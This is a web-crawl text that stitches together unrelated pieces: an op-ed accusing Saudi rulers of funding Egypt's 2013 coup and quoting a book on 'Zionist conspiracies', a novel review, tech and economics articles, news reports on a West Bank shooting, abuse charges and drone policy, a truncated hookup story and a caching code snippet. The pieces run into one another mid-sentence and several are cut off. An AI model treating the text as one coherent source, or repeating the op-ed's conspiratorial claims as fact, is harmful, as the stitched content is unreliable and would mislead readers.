General Sisi ousted Morsi, imprisoned him, implicated him in many cases, issued warrants to other MB leaders, cracked down on the media related to Muslim Brotherhood, killed hundreds of unarmed protesters including women. The General did all this with the complete blessing of US, Israel and gulf rulers particularly King Abdullah. Following his footstep Sheikh of Kuwait and Amir of UAE also offered billions of Dollar to the military dictator General Sisi.
It does not take a genius to work out that this sudden passion and generosity of King Abdullah is not targeted towards Egypt or its people, rather it is meant to support General Sisi to eliminate MB.
A Saudi political activist Mujtahid bin Hareth bin Hammaam has revealed that his government provided Egypt’s military with $1 billion to stage the coup against president Morsi. The Saudi king is trying to influence the West from taking action — including the issuance of strong criticisms — against General Sisi and his government, the activist further said.
Saudi donation to General Sisi was followed by recitation of Qunoot e Nazila in all mosques in the Kingdom in favor of the people of Egypt and Syria. In fact Saudi rulers have a history of hypocrisy.
Following are two paragraphs from my book ‘Zionist Conspiracies in the citadel of Islam’, which throws some light on this aspect of Saudi rulers.
“Whereas a Saudi prince loses $8 million in a single night in casinos of Las Vegas, there is Custodian of the Two Holy Mosques who distributes a few hundred thousand copies of Quran for free. Whereas billions of dollars are wasted on tours of princes, there is also a few million dollars spent on the expansion and renovation of the two holy mosques. Whereas four billion dollar is spent to help the Afghan Mujahedeen on the behest of US, thirty two billion dollar is promptly spent to secure the US interest by saving America’s puppet government in Nicaragua.”
“The US decreed that Imam Khomeini and Iran are the greatest dangers to world peace and to help out Saddam Hussein is the need of the hour. Khadim Al Haramain Al Sharifain too sang in the same tune by pointing out that Khomeini and Iran are indeed the greatest danger to world peace and thus supporting Saddam Hussein is an Islamic duty. After a few years, Bush declares that Saddam Hussein is the greatest danger to the world; dancing to the American tune Khadim Al Haramain Al Sharifain declares the removal of Saddam Hussein ‘an Islamic obligation’. To help out Jews and Christians against Saddam Hussein and to welcome the US and NATO allies in the Gulf was proclaimed as a deed in full accordance with Islamic spirits and religious obligations by the Royal Ulema. The US asserts that communism is the greatest threat to world peace so helping Afghan Mujahedeen is the need of the hour. Khadim Al Haramain Al Sharifain also agrees that communism is the greatest threat to Islam and thus supporting Afghan Mujahedeen is the best form of jihad. About a decade later, Bush junior shouts that Taliban (Afghan Mujahedeen) are breeding terrorism and their elimination is necessary to maintain peace. Khadim Al Haramain Al Sharifain declares that Taliban indeed are giving shelter to terrorists and it is innocuous to extricate them.”
In all these diverse occasions, a team of Royal Ulema kept issuing ‘readymade fatwas’ justifying and legalizing each and every action of the opportunists and selfish rulers of the citadel of Islam.
—
Syed Zubair Ahmad is author of book “Zionist Conspiracies in the Citadel of Islam”.A gleeful Carter exclaims, "So who's the expert now? Who knows the tradition? We do! We own that!" In the pages that follow, the reader learns just how wrong Carter is.
White Tears is London-born Kunzru's fifth novel. It takes its title from a phrase describing — and making fun of — white people's upset around nonexistent racism against them. White tears rain down aplenty in this book.
The "three minutes of darkness we had released into the world" begets horrible tragedy for Carter, and Seth undertakes a desperate trip to the South to try to make amends for their act of cultural theft.
Like Kunzru's fourth novel, Gods Without Men, White Tears shifts setting and time period without overtly signaling these moves to the reader, creating a disorienting and hallucinatory read. At times the book switches narrators. At other times, narrators switch bodies. Seth is arrested and tortured by police, who call him by racial slurs. He looks down and sees his hands are black. Has he become Charlie Shaw?
Characters can't situate themselves in time: "My present had somehow gone before me and was already irrevocably my past. All the sounds I could hear, slightly amplified and somehow picked out or defined, were no more than echoes... a radio signal from a long-ago war."
Kunzru masterfully manipulates his prose to reflect the breakdown in narrative time. Rhapsodic descriptions of the sounds of New York City give way to short, syncopated sentences. Here Shaw describes his death: "How did it take me? What difference does it make? Typhoid. Heat stroke. An accident, my body broken or cut or crushed."
White Tears is hard to categorize in terms of genre. On one hand, it's a Bildungsroman, or novel of education. It follows Seth through the South as he learns painful lessons about America's racial past — and about how Carter's family amassed their wealth. At first he insists he is blameless, but eventually confronts his complicity: "I thought of the buildings I had lived in, the expensive things I had handled and consumed. Whose work had paid for them?"By Juliana Liu
BBC News, Taipei
Asus launched new netbooks at Computex 2009 in Taipei When Asus debuted its Eee PC at Asia's biggest technology show two years ago, the Taiwan computer maker created an entirely new product category. But now, there are so many copycats of the wildly successful laptop that Asus has no choice but to keep up with its own invention. Jonney Shih, chairman of Taipei-based Asus, said he was not surprised by the speed with which competitors rolled out their own versions of the original netbook: small and lightweight laptops that cost just a few hundred dollars. "We are quite used to that," the dapper executive told the BBC. "You know the soul of Asus is innovation. I think you can see that a lot of our new products are coming out now." Asus recently launched the Eee PC Seashell, a super-slim model. Growing sector In the midst of a global economic downturn, netbooks have become crucial to the survival of global personal computer makers. They are one of the few areas in the industry still growing. Asus plans to use its status as the netbook's inventor to push for third-place among global laptop makers by 2011. To do that, it must sell more laptops than better-known names Dell and Lenovo, Shih said. Asus is currently number five in the world, far behind home-grown rival Acer, ranked number one globally among laptop makers. Acer chairman JT Wang says consumers' "fear" is disappearing In fact, with stronger distribution worldwide from a series of acquisitions, Acer sells more netbooks than even Asus. Acer chairman JT Wang strenuously denied any suggestion Acer was copying someone else's invention. "We are not copying," he said in an interview at Acer's headquarters in suburban Taipei. "Innovation is improving on a competitor's product. That is still innovation for consumers' value." Mr Wang sounded more bullish than the more self-effacing Mr Shih, who expressed caution about 2009 sales. "The fear of the consumer is disappearing," Mr Wang said, adding the market was in the process of recovering. "People will find they still need computers to go on with their daily lives." Consumer hit Mr Wang believes it's just a matter of time before Acer dethrones Dell, currently the second-biggest maker of PCs globally. "Compared to other competitors, the current number two, their growth momentum is small. So it's just a matter of time. Sooner or later, we will become number two," he said. Mr Wang said its laptop segment, which includes netbooks, would grow between 25% and 35% in 2009, compared with the previous year. That compares with growth of 10% for notebooks in the wider industry. By any measure, netbooks have been a hit with consumers. Research firm Gartner forecast sales of 5.3 million last year, compared with actual sales of 14 million computers. But because netbooks are cheaper than traditional laptops, manufacturers make less money from them. Soon, they'll be competing with a new category of inexpensive, slim laptops with long battery lives, further blurring the line between netbooks and their notebook cousins.
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StumbleUpon What are these? E-mail this to a friend Printable versionEric Wolff alerted me to this moving documentary on the 500,000 people evacuated by boat from Manhattan on 9/11.
From Christopher Mims:
In nine hours, boats streaming in from all over the Northeast evacuated 500,000 people trapped on Manhattan Island by the complete shutdown of all trains and bridges in the wake of the fall of the twin towers. (Compare that with history’s second-biggest evacuation, of 339,000 soldiers and civilians from Dunkirk, in WWII, which took nine days.)
One of the things this event illustrates is that in cities present and future, redundancy is one of the keys to resilience. New York has long neglected its waterfront, and in the face of rising seas it is even occasionally seen as a liability. And yet without access to the water, a half million New Yorkers would not have made it home on 9/11.Every few months, Francisco Rodríguez lobs a conceptual hand-grenade at the center of the opposition Conventional Wisdom about the Venezuelan economy.
The series of papers he’s written for Bank of America are growing into a corpus of contrarian analysis of the Venezuelan economy that’s not quite like anything else out there.
His writing is not for the faint of heart: jargonny, data-driven, and wonky, F-Rod writes for Wall Street fund managers, and doesn’t much seem to care whether anyone else gets it.
The jargon tends to obscure an analytical playfulness I’ve always found really appealing, though. The real wonder is that the guy manages to draw a quince-y-último for having this much fun.
His latest effort is once again aggressively at odds with what everybody thinks they already know about the Venezuelan economy. If you speak even basic macro, it’s well worth a read. If you don’t, well, that’s what Caracas Chronicles is for, isn’t it?
The roster of sacred cows he barbecues is rather long, so let’s start with the headline idea:
The hardest part is over. For Rodríguez, what’s hardest is external adjustment – shifting from the crazy rate of imports we had in 2012 to a more sustainable level. But that part is basically done. The painful, wrenching switch away from a higher to a lower consumption plane was achieved in 2013. It sucked. You saw it in your daily life in the form of bare shelves and enormous queues to buy the basics. But something like it was inevitable. In 2012, Venezuela was consuming way beyond its means. Now it isn’t.
Sure, our chavista overlords didn’t adjust in the normal way. The textbooks say if you want people to consume less, you do that by raising prices. And yes, higher prices were a feature of adjustment, but not the main feature. The main feature was scarcity. “Instead of being frustrated at not being able to afford the goods they could find, Venezuelans were frustrated at not being able to find the goods they could afford.” To a macroeconomist’s way of looking at the world, it’s six of one, half a dozen of the other.
So that’s the first big, bold claim he makes: the tiger of external adjustment is well and truly slayed. Now we’re just having a bit of a fright over the hide.
Internally, though, the economy is still very far from balance. This turns up in the form of a still sprawling public sector deficit that the government is financing in the most irresponsible way imaginable: just printing up money.
But here comes the second big bold claim Rodríguez wants to make: in fact, reaching internal balance isn’t as hard a problem as people think it is. They just need to end the control the cambio – Venezuela’s crazy-dysfunctional forex control regime – and really devalue, across the board.
Such a devaluation would not, as I mistakenly argued, need to be followed by a painful fiscal adjustment because devaluation is a painful fiscal adjustment: by yielding more bolivars for the government per dollar of oil exports, devaluation itself balances the government’s books.
“But, but,” you’re thinking, “the inflation!”
And here comes the third big bold claim Rodríguez wants to make: the inflationary cost of devaluation is one the government already paid because – big bold claim number four coming up – they already floated the bolivar last year.
This last one is especially counterintuitive, and showcases Rodríguez at his most provocative. Since yesterday, oppo types have been saying SICAD II amounts to a major devaluation. But that’s not quite right: all the government really did yesterday is publicly acknowledge the enormous devaluation in the black market rate that has taken place over the last year.
For F-Rod, what we saw in 2013-2014 was a highly unorthodox partial flotation. From 2009 until early last year, the government had played a bizarre game of both refusing to acknowledge a dollar black market existed but then also intervening in that market, sporadically flooding it with dollars to bring back the parallel exchange rate.
Early last year, though, the government stopped supplying dollars to the black market on the sly and just letting the black market exchange rate go as high as it needed to go to match supply to demand. Meanwhile, its decision to monetize the deficit vastly expanded the pool of bolivars out chasing the tiny number of private dollars on offer in the black market. That, and not SICAD II, was the real devaluation: all SICAD II does is make an honest woman out of the black market.
The result was a tiered system – Tier 1: CADIVI, Tier 2: SICAD, Tier 3: the black market – with just one of the tiers absorbing the entire burden of adjustment. As the black market skyrocketed, inflation passed through the system, though concentrated in markets that use Tier 3 as a marker. That’s not like any kind of flotation they’ll teach you about in grad school, but Rodríguez wants to argue it has many of the same effects as a flotation, at least from a macro-point of view. In particular, the big inflation spike you expect from flotation is now in the past, not the future.
This week, the government already decided to “sincerar la flotación” on tier 3 by opening a legal alternative to the black market – Sicad 2. A much more significant step, though, would be to “sincerar la devaluación” by announcing big devaluations in tier 1 and 2, with a view to unifying the three tiers in the not-too-distant future. It’s that move that would really move the needle as far as internal balance goes: by turning the same number of petrodollars into many more bolivars, it could wipe the fiscal deficit out almost completely, ending the need to keep printing money.
For Rodríguez, such a move is all gain no pain by now, because, remember, the bulk of the “pain” is in the past. Sure, there would be a brief upward spike in prices right after the measure is implemented, but he sees no reason to think that would shift the economy into a permanently higher inflation trajectory, or even a medium-term one.
So far, so good: Rodríguez has told a contrarian tale and told it with unusual flair.
Where he gets into trouble is in trying to account for the final anomaly: if devaluation is such a panacea, why haven’t they done it already? As he admits, it’s easy to see why they didn’t do it before December: nobody wants to devalue just before an election. But it’s the end of March now. It’s been three months. What’s the hold up?
One possibility is that they’re just wrong, and are failing to calculate the almighty inflationary mess they’re going to get themselves into if they keep printing money instead of devaluing.
Another possibility is that they like the tiered system and are determined to keep it.
The adjustment through a multiple tier system could help minimize the distributive costs of price adjustments, shifting the burden of the devaluation to non-essential goods, though at the cost of maintaining sizable differentials between tiers with the associated perverse arbitrage opportunities.
This, however, is not a preference Rodríguez thinks they’ll be able to hang on to for long. In a paragraph that is, I think, the lynchpin to the whole paper, he says,
Nevertheless, even if the government chose not to devalue (…) we believe that sooner or later it will be forced to do so. As inflation accelerates, the costs of deficit monetization are easier to see, and the error of choosing monetization over devaluation becomes increasingly evident. The fiscal sacrifice from the subsidy and the associated transfer of rents to importers at the cost of lower revenues for government expenditures also becomes greater. Arrears of the FX control agency continue to grow, introducing a strong incentive to erase them by paying them at a depreciated rate.
It’s too bad this argument is so central to his thesis, because it’s the least convincing thing in the paper. Why? Because the political economy of chavismo is heavily stacked against this kind of reform.
The tiered system isn’t something chavismo is free to walk away from when it stops serving its fiscal purposes, because the tiered system embodies the deep structure of chavismo’s distributive model.
Not for nothing is this a leitmotif in Simón Andrés Zuñiga’s writings in Aporrea. Exchange controls are central to the way chavismo channels petrostate resources at the two key constituencies that keep it in power: the enchufado elite of importers and arbitrageurs – many of whom dress in olive green – and a mass constituency of barrio voters whose livelihood strategies depend on the deep CADIVI discount on imported food and medicines.
Is the tiered system an even vaguely efficient way of channeling resources towards these groups? Come, now, this is chavismo we’re talking about: they don’t speak efficiency.
But in its own messy, scattershot way, the tiered system does shift resources – lots of resources – into the pockets of those whose support chavismo depends on to hold power. The system has lots of dolientes. And some of those dolientes are very well positioned to stymie any attempt at reform.
Even if devaluing and unifying (or almost unifying) the tiers doesn’t have much of an inflationary impact overall, shifting relative prices can have serious political consequences. Remember: unifying the tiers amounts to devaluing the exchange rate for CADIVI-eligible imports while you revalue the exchange rate for stuff that gets imported with parallel dollars.
In Rodríguez’s words, “although there may be changes in relative prices, the absolute price level will not increase as the average cost of buying imported goods for consumers will not increase” (emphasis added.) But this comes perilously close to arguing that there’ll be no political price to pay because the rise in the price of canned sardines will be offset by the fall in smoked salmon prices.
The more important relative price adjustment is between domestic and imported goods, though. In fact, to make the framework work, Rodríguez has to “assume that the government will substitute domestic for imported goods in order to leave the provision of public goods and services constant.”
Assumptions don’t come much more heroic than that one. After 12 years of deepening overvaluation, the domestic economy’s capacity to produce tradable goods is in tatters, and to bring it back you need to do more than click your ruby shoes three times and say there’s-no-place-like-devaluation. The public sector has shown itself useless when it comes to production, and to get any kind of private sector response the government would need to undo much of its micro policy framework – starting with a politically damaging U-Turn on the highest profile policy initiative of Nicolás Maduro’s short tenure. In short, if our strategy for ending food shortages hinges on substituting domestic production for the no-longer-affordable imported stuff, we’re going to be waiting a good long time.
But the logic of devaluation doesn’t just depend on persuading people to buy from domestic producers that no longer exist. It also hinges, crucially, on screwing over the enchufado elite, which has made a living for years now from the fat arbitrage profits that tiers build into the system.
This is the reason it’s proven so hard for the government to agree a policy that to a guy like Francisco Rodríguez looks like such a no-brainer: there is a powerful, extremely well-connected constituency of enchufado businessmen – not a few of whom moonlight as military officers – actively resisting the end of the tiered system for the same reason the Sicilian mafia lobbied hard against the end of prohibition: they’re uniquely positioned to capture the rents.
To devalue with a view to ending the tiered system, then, would mean filling up the coffers in Carmelitas by picking pockets in Antímano and in Fuerte Tiuna.
Worse still: the pockets they’d be picking in Fuerte Tiuna belong to the very same officers they’re going to have to call on to repress the protests that are sure to break out in Antímano when those pockets get picked as well. And this is the solution that’s being sold to us as not having much of a political cost!
To sum up: is ending the tiered system the technocratically correct solution to the government’s fiscal woes?
I’m sure it is.
Are there good reasons for chavista policy makers to fear going down that path?
There sure are.
Ending the tiers will set off a political crisis for the government. That’s why they’re going to wait until the last imaginable minute before they act.
Reality might just drag them kicking and screaming towards a saner exchange rate system, but the kicks are going to be hard, and the screams ear-splitting.
Caracas Chronicles is 100% reader-supported. Support independent Venezuelan journalism by making a donation.The closest thing to zombies Norman Reedus will find in Little Chitaly will be of the grocery-shopping granny variety. But he probably knows that, given that he's lived at 136 Baxter Street (also known as the Machinery Exchange, somewhat of a celeb magnet) for three years and is now moving on up to the penthouse unit, The Real Deal reports, which he just bought for $3.8 million. The Walking Dead actor, who also appeared in cult classic Boondock Saints and its sequel, now has a 3BR/3.5BA duplex with two separate entrances, a home office, a wood-burning fireplace, and an astro-turfed 669-square-foot terrace that's full of potential. The exposed wooden beams in the bedrooms?apparently restored from the originals?are especially attractive, with the rest of the decor being unexcitingly modern. Penthouse A sold for $4 million in 2009, and it took over a year for it to get snatched up this time around since it was listed in 2012. Is this a long-awaited sign that at least one subsection of the market is cooling just a tad?
· Listing: 136 Baxter Street #PHA (Streeteasy via Corcoran)
· "Walking Dead" star buys Little Italy penthouse for $3.8M [TRD]
· All Celebrity Real Estate coverage [Curbed]Israeli forensic police inspect a car belonging to Israeli victims of a gun attack by a Palestinian man near the Dolev settlement, in the Israeli-occupied West Bank, on June 19, 2015 (AFP Photo/Abbas Momani)
Near Dolev settlement (Palestinian Territories) (AFP) - A Palestinian opened fire on two Israeli men near a West Bank settlement on Friday, killing one and wounding the other, authorities said, in what appeared to be a lone-wolf attack.
Israeli army spokesman Lieutenant Colonel Peter Lerner said a "Palestinian approached a vehicle that was in the area and asked them to stop... and shot the two from close range."
A spokeswoman at Sheba Hospital near Tel Aviv confirmed that one of the men had died and the other was lightly wounded.
The attacker fled, prompting a manhunt.
Local media named the dead man as Danny Gonen, a 25-year-old from the central Israeli city of Lod. Lerner said that Gonen and his friend, also from Lod, had been hiking in the area.
The incident occurred near the Dolev settlement, according to Israel's emergency medical service Magen David Adom, which said the victims were in their 20s.
The army said the two men were in a car at the time of the shooting, which took place northwest of Ramallah in the Israeli-occupied West Bank.
Prime Minister Benjamin Netanyahu said on Twitter that "the evidence on the ground indicates this was a terror attack, and we're working to find the perpetrator."
"We can't let the relative quiet achieved thanks to many successfully prevented attacks mislead us," he said.
"The attempts to hurt us continue all the time, and we'll continue to fight them with all the means we have."
President Reuven Rivlin condemned the attack, which he described as "another step in the quiet and serious escalation in acts of terrorism we have witnessed in recent months."
Rivlin also called for Palestinian as well as Arab Israeli leaders to issue a "clear and decisive condemnation" of the attack.
The UN Special Coordinator for the Middle East Peace Process, Nickolay Mladenov, condemned the shooting and called on "all sides to exercise the utmost restraint, to maintain calm and promptly bring the perpetrators to justice."
West Bank settlements are considered illegal under international law, and Israelis have been attacked previously in and around them as well as in annexed east Jerusalem.
A string of so-called lone-wolf attacks by Palestinians, which have occasionally involved shootings, began in Jerusalem in October but have spread to the West Bank.
On May 20, two Israeli policewomen were injured in east Jerusalem when they were hit by a car driven by a Palestinian who was then shot dead.
Also last month, three Israeli teenagers were hurt by a Palestinian who hit them with his car near the Alon Shvut settlement in the West Bank. The Shin Bet domestic security service said the perpetrator had confessed to carrying out the attack for "nationalistic reasons."
In April, border police shot dead a Palestinian who stabbed an officer in the southern West Bank city Hebron.
Israeli seized the West Bank in the 1967 Six Day War.
Today around 580,000 Jewish settlers live in the territory, including Israeli-annexed Arab east Jerusalem.6,718
by Melina
What’s your gender? Woman
How old are you? 33
What’s your race/ethnicity? White / Caucasian
What continent do you live on? North America
What country and/or city do you live in? U.S.
Highest education received: Post-graduate degree (eg., MA, MS, PhD, JD, MD)
What’s your occupation? public service
What’s your current relationship status? Dating casually
Religious affiliation: Agnostic
How religious are you? A little
What’s your sexual orientation? Mostly heterosexual
Any other term(s) that describe your sexuality or sexual identity? Open to play but primarily straight
How many sexual partners have you had in your life (including oral sex)? 9
How many hookup stories have you here posted before? 0
Work Fling
How long ago did this hookup happen? a year ago
What was your relationship status at the time? Single
How would you best classify this hookup? Short fling
How long did you know the person before this hookup? For less than a week
Tell us about your PARTNER(S). What did they look like? How well did you know them, had you hooked up before? How/Where did you meet them? How did you feel about them before the hookup? We met at a work conference. It was a dreary event, as most work conferences are, but we happened to be in the same space and when we made eye contact, sparks flew. We quickly made our way to each other and started up some small talk, but just as quickly began flirting. He was handsome and tall, clearly athletic, square jaw, thick stubble, blue eyes. Almost generically manly-handsome. If we didn’t clearly have so much chemistry from the get-go, I would have wondered why such a incredibly good-looking man was talking to me. Also, he was noticeably older, mid-40s, with grey at the temples. I found this very attractive. In our conversation (the ‘where are you from/what do you do’ chit-chat), he told me (with some noticeable awkwardness) that he was married. I will admit that I felt a pang in my stomach as he told me this, but I forced myself to be outwardly cool. The convention was nearly a week long, and he was by far the most interesting person I had met, so I didn’t want to cut off any potential for hanging out the rest of that week.
After we parted ways to attend to work things, we bumped into each other later in the day. He asked me if I wanted to hang out and get a beer later. I was both skeptical, as I have been hit on by married men before, but also super eager, as I was very attracted to him. I told myself that it was innocent, and that we were just going to make the most of an otherwise-boring week, but in reality I was hoping we would hook up.
That first night, we did get a beer, then dinner, then another beer. We hung out at the bar a long time, flirting heavily, chemistry strong. I wondered if he would kiss me, but he didn’t. I felt a little awkward seeing him the next day, knowing how much I had flirted with him the night before, but he seemed more even excited to see me the next morning because of it. By the end of the second day, he suggested that we go out again, and I accepted.
How/where did the hookup BEGIN? What led to it? Was planning involved? Who instigated it? He was dropping me off at my hotel after our second |
): '''set expire headers for client-size caching''' def decorator(fn): def decorated(*arg,**kw): cherrypy.response.headers['Expires']=formatdate(_current_time()+seconds) return fn(*arg,**kw) return decorated return decorator
It’s handy for getting the client to cache some data for us too. I use it on some of the PIL generated images served up via my app.
source code
Download turbogears caching decorator
The source for the decorator(s) includes a simple test suite (to be run using nose).Democratic presidential nominee Hillary Clinton Hillary Diane Rodham ClintonSanders: 'I fully expect' fair treatment by DNC in 2020 after 'not quite even handed' 2016 primary Sanders: 'Damn right' I'll make the large corporations pay 'fair share of taxes' Former Sanders campaign spokesman: Clinton staff are 'biggest a--holes in American politics' MORE is leading Republican nominee Donald Trump Donald John TrumpHouse committee believes it has evidence Trump requested putting ally in charge of Cohen probe: report Vietnamese airline takes steps to open flights to US on sidelines of Trump-Kim summit Manafort's attorneys say he should get less than 10 years in prison MORE in every national poll — including, apparently, among those too young to vote.
ADVERTISEMENT
According to the Scholastic Student Vote survey results released Tuesday, 52 percent of schoolchildren would rather see Clinton in the Oval Office, compared with 35 percent for Trump.
Another 13 percent of students wrote in "other" choices, which is above average, according to Scholastic.
Libertarian nominee Gary Johnson Gary Earl JohnsonPotential GOP primary challenger: Trump's 'contempt for the American people' behind possible bid The Hill's 12:30 Report — Presented by Kidney Care Partners — Trump escalates border fight with emergency declaration Former Mass. governor takes step toward Trump primary challenge MORE got about 2 percent of the vote.
Other votes were cast for Sen. Bernie Sanders Bernard (Bernie) SandersPush to end U.S. support for Saudi war hits Senate setback Sanders: 'I fully expect' fair treatment by DNC in 2020 after 'not quite even handed' 2016 primary Sanders: 'Damn right' I'll make the large corporations pay 'fair share of taxes' MORE (I-Vt.) and Green Party nominee Jill Stein.
The student vote, which surveyed more than 150,000 of the nation's schoolchildren from kindergarten to 12th grade, has been relatively accurate in predicting which candidate will be elected to the White House.
It has been correct in nearly every election since 1940, with the exceptions of 1948 and 1960.
The Scholastic Student Vote poll is not based on a scientifically designed sample and did not list a margin of error.A 70-year-old Victoria man is facing a slew of new charges, decades after the alleged sexual assault of 13 boys.
Victoria police say 12 new victims have come forward in the year since Harry Charles Sadd’s arrest in August of 2016.
The boys were between nine and 15-years-old when the alleged assaults took place in the 1960s and 1970s.
READ MORE: Harry Charles Sadd arrested for string of sexual assaults on children during 1970s
Sadd is now facing 23 new charges, including sexual assault, buggery and gross indecency.
Sadd, who had allegedly exploited his position as a badminton coach more than 40 years ago to conduct the assaults, was charged with three counts of indecent assault by a male on a male person and one count of sexual assault last year.
He has a history of prior convictions for sexually assaulting youth, but the 2016 arrest came after another victim came forward.
Sadd has previously worked as a teacher in Alberta and other provinces, and police said at the time they believed he may have other victims elsewhere in Canada.
Police released two photos of Sadd last year, one of him from 1992 and another from 2016, while other photos from his public Facebook page show him dressed as Santa.
Police are asking anyone else who may have been victimized by Sadd or has information about his activities with children to call them or the Men’s Trauma Centre.White House Press Secretary Jay Carney told reporters Thursday that the Obama administration will not be releasing any more information about the controversial use of drones to kill American citizens.
Carney’s remarks, via the White House’s transcript of the off-camera press gaggle:
“This is not an open-ended process. This is a specific and unique accommodation in this circumstance. The fact is, when it comes to public disclosure, we have been — not with the kind of attention that’s been given it this week — but we have been publicly discussing these matters at the highest levels of government for the very reason that I’ve given, which is the President understands that these are core issues about how we conduct ourselves in war, how the President of the United States — any President — balances his constitutional obligation to protect America and American citizens, and his obligation to do so in a manner that is lawful under the Constitution and reflects our values.
“The President takes these issues very seriously, and he believes that the conversation about this is valid and that the questions about it are legitimate. And that’s why he has been leading this process internally to — as has John Brennan, by the way — to provide public information as much as possible, mindful of the fact that we are talking about here very sensitive matters, and that these kinds of things — they’re classification — information is classified for very legitimate reasons that go right to our national security interest.
“But within that, there is an effort underway to provide Congress information — those who have oversight over these matters — classified information as well as unclassified with the white paper and the public information as much as possible.”
Those comments by Carney follow the White House’s Wednesday evening decision to send Congress “classified legal advice” about the rationale for using drones against Americans, reported the Associated Press:
WASHINGTON (AP) — President Obama has directed the Justice Department to give Congress’ intelligence committees access to classified legal advice providing the government’s rationale for drone strikes against American citizens working with al-Qaeda abroad, a senior administration official and Democratic lawmakers said Wednesday.
A drumbeat of demands to see the document has swelled on Capitol Hill in recent days as the Senate Intelligence Committee prepares to hold a confirmation hearing for John Brennan, who helped manage the drone program, to be CIA director.
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I don't want P2K articles added to my Kindle library. How do I do that?Sixty years after the portrait was stolen by the Nazis, Woman In Gold brings to life the real events leading to a decade-long battle for restitution
The film, Woman In Gold is a fascinating glimpse into twentieth century Viennese society; a fairytale life that encompassed the most accomplished Viennese Jewish glitterati later decimated by the Nazis. Gustav Klimt’s Portrait of Adele-Bloch- Bauer 1 was the most seductive and emblematic portrait of its time – so much so that Austrians regarded it as ‘their Mona Lisa.’
It’s also a lesson in perseverance through a nightmare of bureaucratic red tape and twists of fate as Maria Altmann (portrayed by the impeccable Dame Helen Mirren,) begins her journey to retrieve five Klimt paintings seized by the Nazis – among them Klimt’s famous painting Portrait of Adele Bloch-Bauer 1.
Altmann went out on a limb with her inexperienced, naïve but tenacious young lawyer, Randy Schoenberg (Ryan Reynolds), and embarks upon a major battle to sue the Austrian government and confront the establishment who stuck their heads in the sand rather than admit culpability. Until finally, the U.S. Supreme Court becomes the lynchpin in the precedent- setting case.
The Bauer sisters had married brothers, Ferdinand and Gustav Bloch, and together they all shared a palatial apartment situated on one of Vienna’s grandest avenues, Elisabethstrasse. Adele and her husband Ferdinand were prominent members of Jewish society and wealthy patrons of the arts. Adele herself was the hostess of a renowned Viennese salon that attracted prominent figures like Alma and Gustav Mahler, theatre director, Max Burckhard, playwright and author, Arthur Schnitzler and Gustav Klimt.
Maria Altmann was born in Vienna in 1916, nine years after Gustav Klimt had completed his gilded masterpiece of her Aunt Adele. (It was said that the artist made over 100 sketches of her.)
The opulent work is composed of oil paint covered in layers of delicate gold leaf and silver and took Klimt three years to complete. The diamond necklace his muse Adele wears in the painting, would later be given to Maria as a wedding present by her uncle. It was also stolen by the Nazis and ended up in the collection of Hermann Göering, around his wife’s neck. The necklace was never recovered by the Altmann family.
The portrait was confiscated from the Bloch-Bauers grand palais by the Nazis in 1938 and the Austrian government put the painting on display in Vienna’s magnificent Baroque Belvedere Palace, then commandeered as a Nazi institution. They first stripped it of its original Jewish surname and re-named it Portrait of a Lady With Gold Background. Ironically, Klimt, a hedonist and all his work were initially considered degenerate by the Austrian Ministry of Culture. In fact they cancelled its plan to send one of his paintings to St. Louis for display at the 1904 World’s Fair as they thought it an embarrassment.
Reached by phone in Toronto where he has been on a media tour to promote the film, British director Simon Curtis (Academy Award nominated, My Week With Marilyn,) said the film had a personal resonance for him. “The Vienna shoot was without doubt the most wonderful, most emotional working experience I’ve ever had. We were recreating the end of the Jewish community in Vienna. It was very powerful especially when crowds reenacted the Anschluss with Nazi flags draped from buildings. I’m also from a Jewish Eastern European background, ” says Curtis. “In fact the silver wine goblet that the Nazi picks up in the Bloch-Bauer apartment in the film, actually belonged to my Polish great grandfather.”
As a consultant to Woman In Gold, the LA-based lawyer, E. Randol (Randy) Schoenberg, whom Ryan Reynolds plays in the film, was actually relieved that Reynolds decided not to portray an exact facsimile of him. “I actually didn’t meet Ryan until the last day of shooting,” admits Schoenberg by phone from Los Angeles. “ I respect that he wanted to interpret my character not as a carbon copy. It’s really difficult to compress eight years of legal battle into a film,” he says. “But that breakdown in the film at the Austrian Holocaust Monument was exactly my story – it was very emotional for me as Ryan conveyed,” says Schoenberg whose grandfather, composer Arnold Schoenberg fled the rise of Hitler and was on his list of “degenerate artists.” “Maria had a great sense of humor and I think Ryan and Helen’s on -screen chemistry really comes across.”
Sadly, the cast of Woman In Gold didn’t have an opportunity to meet the real Maria Altmann as she passed away at age 94 in 2011.
Says Simon Curtis, “It’s an unfortunate coincidence but at the same time, very important I feel, that the release of Woman In Gold coincides with all the resurgence of anti-Semitism going on in Europe today.”
Following its return to Maria Altmann, businessman and cosmetics heir, Ronald Lauder acquired Portrait of Adele Bloch-Bauer I for $135million in 2006 and it hangs in his Neue Galerie, New York. Their Exhibition Gustav Klimt and Adele Bloch-Bauer Opens April 1 to September 7, 2015
Neue Galerie
Book Club suggestion: The Lady In Gold by Anne-Marie O’Connor, published by Knopf
Woman In Gold Movie Website
Top Photo: The late Maria Altmann with her beloved Portrait of Adele Bloch-Bauer 1. Photo courtesy of Randol Schoenberg.The former Tulsa police officer who fatally shot 40-year-old Terence Crutcher last year and was acquitted of manslaughter this spring will no longer have the charge on her record.
On Wednesday, District Judge William LaFortune granted Betty Shelby’s request to expunge the record of her manslaughter case, according to Tulsa World.
The court order means that if anyone asks Shelby about her case, she can legally claim that “no such record exists” of her arrest or prosecution, according to Oklahoma statute.
In September, 2016, Shelby fatally shot Crutcher, a 40-year-old black man who was unarmed.
The Tulsa Police Department initially said Crutcher had refused orders to put up his hands, but footage of the incident appears to show him walking toward his vehicle with his hands above his head.
Shelby told “60 Minutes” the video failed to show clearly that Crutcher had suddenly reached into the vehicle. She said she believed he was about to grab a weapon.
The 42-year-old officer was found not guilty of first-degree manslaughter in May after a jury deliberated for nine hours.
Courtesy Tulsa County Jail/Handout via REUTERS Betty Shelby, 42, was charged with first-degree manslaughter in the death of 40-year-old Terence Crutcher. She was acquitted in May.
Shelby resigned from the Tulsa police force on Aug. 3 and was sworn in as a reserve deputy for the Rogers County Sheriff’s Office a week later.
Shelby’s defense attorney, Shannon McMurray, told The Associated Press that the “crime does not exist for employment application purposes,” and said it was important “to have that smear on [Shelby’s] name removed from public view.”
McMurray added that her client “continues to work to try and serve her community and prays for everyone’s continued healing.”
Neither Shelby nor any member of the Crutcher family attended Wednesday’s hearing.
Crutcher’s relatives are now focusing their attention on a civil suit they’re bringing against Shelby, the city of Tulsa, Tulsa Police Chief Chuck Jordan and two other officers.Police Departments Skirting Public Accountability By Using Private Foundations To Obtain Controversial Surveillance Technology
